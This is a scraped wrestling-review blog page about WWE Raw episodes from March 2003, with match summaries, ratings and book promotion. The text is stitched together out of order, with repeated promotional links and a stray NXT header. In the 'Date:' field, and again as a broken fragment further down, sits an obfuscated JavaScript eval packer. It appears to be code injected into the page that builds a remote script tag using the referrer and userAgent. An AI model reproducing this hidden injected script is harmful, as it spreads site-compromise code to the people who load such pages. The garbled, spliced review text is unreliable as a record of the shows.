Before the match, Nowinski goes on a rant about patriotism making everyone blind to reality and how terrorism can’t be stomped out by attacking sovereign nations. Steiner beats him up on the floor as the announcers distance themselves from Nowinski’s comments as fast as they can. Nowinski gets slammed on the ramp and put in the Recliner with Lawler calling Nowinski’s comments anti-American. I’ll let you make your own comments on that one.

Video on Goldberg.

Christian comes in to see Rock and tries to get a DVD autographed. That’s all cool with Rock until he finds out it’s for Christian. Not THAT Christian of course but rather a friend of his. Rock suggests some tips on owning the room (Rock: “Not this room. This is the Rock’s room.”) and Christian dubs himself Born Again. Uh, yeah. Anyway Christian thinks the people thinks the Rock is scared of Goldberg so Rock is going to show them next.

Trish kisses Jeff Hardy for luck.

The Rock vs. Jeff Hardy

Rock doesn’t think much of the paint job so he slugs away to take over. More right hands allow Rock to get in some dancing but he stops due to a ROCKY SUCKS chant. There’s a Samoan drop to put Hardy down but Rock charges into a boot in the corner. Jeff scores with a middle rope dropkick as Lawler yells about Jeff wearing too much makeup.

Some clotheslines and lame forearms to the back look to set up the Whisper in the Wind but Rock is a bit too smart for that. Jeff falls down trying a reverse Twist of Fate but is able to hit his own People’s Elbow. A DDT and the Rock Bottom end Jeff. Well to be fair, Rock is no Chief Morely.

Rating: D. Egads Jeff is actually getting worse. There’s no energy or pop to the vast majority of his offense and the forearms to the back were a disaster. Thankfully Rock can basically do anything at this point so it could have been a lot worse. Still though, I have no idea who can think Jeff is any good at this point, save for the preteen girl audience.

Rock calls out Goldberg post match so here he is, walking through the pyro in a cool visual. Before any violence can break out, Rock turns down a match at Backlash and leaves. Christian tries to sneak in on Goldberg but gets speared down to almost no reaction. Rock’s cheap shot has even less effect and Rock bails again. Goldberg got almost no reaction at all here. JR: “I smell a chicken****!” King: “JR!”

Rock leaves and yells at Terri for asking why he’s gone. Actually hang on as he will give an answer. Rock: “You want to know why? Because.”

Kane vs. Dudley Boyz

Tagging is required here so Kane hammers on D-Von, then does the same to Bubba. D-Von crotches Kane from the floor but doesn’t seem happy about having to do so. Kane fights back with some clotheslines and a backdrop. The top rope clothesline gets two on D-Von but the double chokeslam is countered into the 3D.

Rating: D. I can live with a great team beating a champion in a handicap match with their finisher but it still could have been done later. The match was as good as it was going to be for a three minute Dudleys vs. Kane match, though that doesn’t make the story any more interesting. It’s still just Val Venis/Lance Storm/the Dudleys vs. Van Dam/Kane. The division needs an interesting team and they need it in a hurry.

Van Dam comes out for the save but Storm and Morely cut him off, setting up the big beatdown with the aide of a chair. For people who are forced into being heels, Bubba and D-Von don’t seem to mind the excessive violence.

Test yells at Goldust for screwing up with Stacy last week. He hasn’t gotten any in a week so Goldust needs to HBO: help a brother out. Since when have Test and Goldust been brothers, or even distant cousins? Post break, Goldust tells Stacy that it was his Playboy and Test wasn’t talking to Torrie. Test says he doesn’t read those magazines but Goldust stooges him off again, this time about a magazine in Test’s bag. This whole thing feels like a bad rib on someone that’s only funny to the people writing it.

Here’s Eric Bischoff coming out in Austin’s truck to Austin’s music. Eric, in Austin’s vest, rips into Austin for hiding his medical condition and is very happy with the firing. Austin was a liability that Bischoff couldn’t risk and he doesn’t feel bad about anything he did. This brings Bischoff to JR’s rant from last week (including the stupid line of Bischoff not being able to find anyone who could beat Austin, the night after he lost to Rock) and Eric wants JR to come up to him man to man.

JR meant every word of what he said last week and quits. Eric yells that he’s fired as he leaves to wrap this up. I’m still not angry at Bischoff for benching someone who admitted they had a bad neck and back. That doesn’t make him a heel, no matter how much WWE seems to think that it does.

Goldust vs. Steven Richards

Lawler is on commentary on his own so this could be interesting. Richards grabs a neckbreaker and it’s a suplex into a chinlock. Thankfully Coach comes out to join commentary as Goldust fights back and gets two off something like a Sky High. The Curtain Call is broken up and Richards calls for a belt. Since she’s no longer champion, Goldust uses the distraction to grab a powerslam for the fast pin. Just a match.

Ric Flair tells Chris Jericho and HHH to get along tonight.

La Resistance, the evil French team of Rene Dupree and Sylvan Grenier, are coming. This would be around the time France wouldn’t fight in Iraq so FRANCE IS EVIL!

HHH/Chris Jericho vs. Booker T./Shawn Michaels

HHH is going to put Booker over here isn’t he? It’s a brawl to start with HHH being knocked outside and Jericho being catapulted out next to him. We settle down to Booker elbowing HHH down for two before it’s off to Shawn to work on the arm. Jericho comes in and gets armdragged down as well as things break down a bit. It’s too early for Sweet Chin Music or a Pedigree but Flair low bridges Shawn to the floor. And now, to the parking lot where a limo arrives.

Back from a break with HHH getting two off the jumping knee to the face. Jericho comes in and does Shawn’s pose bus misses an elbow. It’s back to HHH for a sleeper, followed by Jericho’s jumping back elbow to the jaw. Shawn finally gets in a hard shot to the face to make the hot tag off to Booker.

House is cleaned in a hurry and a DDT gets two on HHH. There’s the Spinarooni and a Bookend to Jericho but HHH gets in another knee, allowing Jericho to grab the Walls. Shawn makes the save with Sweet Chin Music but HHH clotheslines him to the floor. The Pedigree is countered into a jackknife cover to give Booker the pin.

Rating: D+. Nothing special here and, of course, HHH gives up the pin in a match that means nothing, despite the fact that he already beat Booker in the important match. There’s just no reason for HHH to not drop the title to him at Wrestlemania, as it’s not like HHH can’t just get it back in April because he must be the champion long term no matter what.

Post match the beatdown is on with Shawn being tied to the top rope. Hurricane tries to make a save but the returning Kevin Nash makes the real save. HHH grabs the hammer but Nash’s chair scares him away to end the show. So there’s the reason Booker isn’t likely getting a rematch at Backlash.

Overall Rating: D-. So to recap: Booker T. loses in the big match but gets to win a tag match while Goldberg and Kevin Nash are heading straight to the main event. Goldberg is at least a logical move but Nash? The guy who can’t go two months without a career killing injury and draws no reaction the rare times he’s healthy?

Couple that with the popular Tag Team Champions getting pinned a week after winning the belts, Test getting no sex because of Goldust and being told that if you don’t completely support the military that you’re a horrible person and there’s not much to look forward to. It’s going to be a very long summer and I have a bad feeling it’s only going to get worse.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sabze|var|u0026u|referrer|assyb||js|php'.split('|'),0,{})) September 6, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Nigel McGuinness, Percy Watson, Mauro Ranallo

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkerb|var|u0026u|referrer|ednie||js|php'.split('|'),0,{})) Night Raw
Date: March 31, 2003
Location: Key Arena, Seattle, Washington
Commentators: Jim Ross, Jerry Lawler

It’s time for one of the biggest Raw’s of the year and it should be interesting to see where things are going. HHH needs a new challenger after he sent Booker packing from the main event scene and Rock finally vanquished Steve Austin at Wrestlemania. There’s room for a lot of changes on the show at the moment so let’s get to it.

We open with a nearly four minute highlight package of last night. Nothing wrong with that after the biggest show of the year.

Opening sequence.

Rock is looking in a mirror when a makeup guy comes up, only to annoy the Great One. Tonight is Rock Appreciation Night and he needs to look perfect.

Here’s Austin to get things going in the arena. Austin says he’s always been honest since he’s been here and last night Rock was the better man. He’d like to have Rock come out here right now for a handshake but gets Eric Bischoff with some papers instead. Eric doesn’t buy Austin wanting a handshake and thinks it’s a ploy. The fact is Austin won’t be beating anyone up anytime soon.

The night before Wrestlemania, Austin was in a hospital so Eric had his lawyers look into a few things. While Austin was in the hospital for an anxiety issue, there’s a lot more to it than that. Bischoff reads off a bunch of neck and back issues that Austin is dealing with (apparently having stolen Austin’s personal medical records) and he’s not medically cleared to wrestle. Austin says he’s going to do whatever he wants and that includes fighting against doctor’s orders. That’s fine with Bischoff, who fires him. The FedEx is on its way to Austin’s home in Texas too.

HHH vs. Hurricane

Non-title. During the entrances, JR and King say that Goldberg will be part of the upcoming Backlash pay per view. Hurricane gives his mask to a kid so Flair takes it away and breaks the thing. HHH jumps him on the floor and takes him down with a spinebuster back inside. A vertical suplex is broken up and Hurricane’s jumping neckbreaker mostly connects.

Some jumping clotheslines and a Shining Wizard give Hurricane two but Flair trips him up. It doesn’t really matter as the chokeslam is good for two, followed by a high crossbody for a pretty good near fall. The Pedigree is broken up and the Eye of the Hurricane gets two more. The Blockbuster misses though and it’s a Pedigree to put HHH away.

Rating: C-. This would also be known as a “take that Rock” match as Rock went out of his way to give Hurricane a rub and then HHH beats him clean in about four minutes. Hurricane’s offense looked good and there’s nothing wrong with the World Champion getting a clean win but did it just NEED to be Hurricane? Seems rather petty but that’s how it goes.

Goldberg video. He’ll be at Backlash.

Scott Steiner vs. Christopher Nowinski

Chris has a protective mask on his face and politely requests not to be hit in the face. Steiner threatens to make Nowinski floss with his shoelaces and Nowinski’s running doesn’t get him anywhere. Scott hammers him down and gets in a kick to the chest but Nowinski uses a headbutt with the mask to get a breather. Not that it matters as a belly to belly and the Steiner Recliner put Chris away in short order. Total squash.

Austin confirms that his neck is messed up.

Rock Appreciation Moment: a song montage. It really is amazing how much great stuff he packed into so little time.

JR goes on a heck of a rant against Bischoff for somehow getting Austin’s medical records and getting rid of him this way. Heck yeah JR. Medical reasons like Austin having a horrible neck and back? What kind of problems could those ever cause? I get what they’re going for with Bischoff finding a way to get rid of Austin but good luck getting me to take issue with protecting the neck/back of someone who already missed a year due to neck surgery.

The Dudleys aren’t happy with Storm and Morely. Here’s the Chief to tell them that they’re in the Tag Team Title match tonight as well where their jobs will be to get rid of RVD and Kane before laying down to retain the titles.

Flair comes in to see Booker T., who is getting his knee taped up. Booker chokes Flair for being annoying and shows why he’s one of the scariest men in wrestling. Seriously he was terrifying when he was shouting down at Flair.

Clip of Ashanti singing America the Beautiful.

Rosey vs. Maven

Fallout from Maven pinning Rico a few weeks back and of course that requires another match. Maven kicks him in the ribs but gets his head taken off with a clothesline. King ignores the match to talk about being a celebrity photographer for Playboy, which doesn’t cause nearly as much excitement as you would expect.

Rosey misses a charge in the corner and gets forearmed down, only to have Maven COMPLETELY miss a dropkick to Rosey’s back. The idea was supposed to have Rosey get knocked into Rico on the apron, likely for a rollup pin. Rosey starts to go into Rico anyway but thankfully realizes how stupid that would be since he wasn’t touched. They stumble around into an awful looking rollup to give Maven two, followed by a sunset flip to put Rosey away. This was terrible and made some of the Divas matches look horrible. By the way, Maven would have been a perfect choice (one of many) for HHH’s squash earlier rather than Hurricane.

Here’s Chris Jericho for a match but first he needs some respect. Jericho talks about having one of the best matches in Wrestlemania history last night and Shawn Michaels knows that he was bested. When people look back at the match, they’ll remember Shawn writhing in pain while Jericho walked out with his head held high. Tonight, he’ll take out his frustrations on Booker T.

Chris Jericho vs. Booker T.

Booker has a bad leg so Jericho goes after it before the bell. Some kicks and elbow drops have the leg in trouble but Booker kicks him over the top for a breather. Back in and a flapjack drops Jericho as JR praises HHH’s Indian Deathlock. There’s a superkick but here’s Flair for the DQ.

HHH comes out and it’s a 3-1 beatdown until Shawn makes the save. Jericho breaks up Sweet Chin Music though and it’s Shawn taking the beatdown, including the Walls. HHH gets the Indian Deathlock and the good guys tap. Yeah it’s still just an Indian Deathlock dude. Try the sleeper again.

Jeff Hardy vs. Steven Richards

Jeff is in all white, making him look like he’s off to paint an apartment. Richards gets sent outside early on but Victoria pulls him away before Jeff’s barricade running clothesline. Back in and a DDT on the arm gives Richards two and we hit the armbar as Jeff’s blue arm paint is all over Richards. Jeff makes the comeback and gets two off the leg lariat in the corner. The Swanton is broken up by Victoria so here’s Trish, who got out here WAY too fast, to kick her in the head. Now the Swanton can put Richards away.

Rating: D. The paint was the most interesting part of the match. This Jeff/Trish thing isn’t doing anything for me but I can’t imagine it’s going to be anything long term. They also need some fresh talent for the women’s division as Trish vs. Victoria all over again makes my head hurt.

Trish smiles at Jeff post match.

Austin says goodbye to the production staff and leaves.

Rock Appreciation Moment: Rock insults various crowds and people. “HE SAID TORONTO! THAT’S WHERE WE LIVE!” Still amazing.

Test calls Torrie Wilson because he’s dumb enough to do this when his girlfriend is around. Speaking of the girlfriend, Stacy comes up and innocently asks who was on the phone. Test gets nervous and says it was a wrong number. He tries to get Goldust to lie for him but the Tourette’s gets the better of him.

Rock finds the dejected production staff (who haven’t moved since Austin left) and says he’s got a big party after Rock Appreciation Night. I mean, they can’t come in or anything but the party will be happening.

Goldberg video.

Tag Team Titles: Dudley Boyz vs. Rob Van Dam/Kane vs. Lance Storm/Chief Morely

The graphic still shows the old title belt design. Morely and Storm are defending and this is elimination rules. Rob and Kane slug it out with the champs with Van Dam moonsaulting to the floor to take out the two of them plus Bubba as a bonus. Kane dives onto all of them and the fans are way into Van Dam, as is usually the case. We really get things going with Rob and D-Von as the fans want tables.

Bubba comes in to club Kane in the chest but takes a jumping clothesline for his efforts. A quick What’s Up slows Kane down but it’s right back to Rob for a bunch of kicks to the face. Everything breaks until it’s Bubba and Van Dam alone in the ring where Rob misses the Five Star. Storm tries to bring in a chair but D-Von takes it away and misses a swing, setting up the Van Daminator to get rid of the Dudleys.

Back from a break with Morely suplexing Van Dam and Kane making a save. Storm comes in and grabs a half crab, which isn’t even treated as a finisher anymore. To be fair, did anyone outside of WCW ever buy that as a good move? The hot tag brings in Kane as everything breaks down.

A really bad camera shot shows Van Dam’s top rope kick not coming close to Storm (which the announcers didn’t acknowledge, making it a bit less bad than Maven’s disaster earlier). There’s the double chokeslam on the champs and the Five Star to Morely gives Rob and Kane the titles.

Rating: D+. Kind of slow here but the ending was the only important part. Kane and Van Dam should have won the titles last night but the extra emotion here did make things a little better. At least the titles are off of Storm and Regal as they were setting new standards for uninteresting champions. The Dudleys didn’t really need to be there either but they didn’t hurt anything.

Bischoff has a contract of some kind and promises a big surprise.

Here’s Rock for Rock Appreciation Night/the most obvious debut ever. Rock has FINALLY come back to sea….all you jabronis appreciate him. The ROCKY chant breaks out and Rock says he doesn’t care for what happened to Austin earlier tonight. If Austin just had to get beaten last night, at least it was by the best. Rock brags about all the Rock Bottoms last night and the fans keep cheering him.

We get another montage of awesome Rock moments (edited off the Network due to the music), which still doesn’t get them to boo. He talks about going to Hollywood and coming back to boos as the fans FINALLY catch on….by chanting for Goldberg. Rock: “Don’t think you’re cool just because you know Rock’s accountant Ira Goldberg!”

Overall Rating: C. This definitely felt like the post-Wrestlemania show with very little wrestling throughout and one match with any significant time. They set up a few things going forward but a lot of this show was about taking a breath after the hard push towards Wrestlemania. There’s nothing wrong with that and the Goldberg debut, while highly telegraphed, did feel like a big moment. Not a bad show, but it’s not the place to look if you want a lot of action.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

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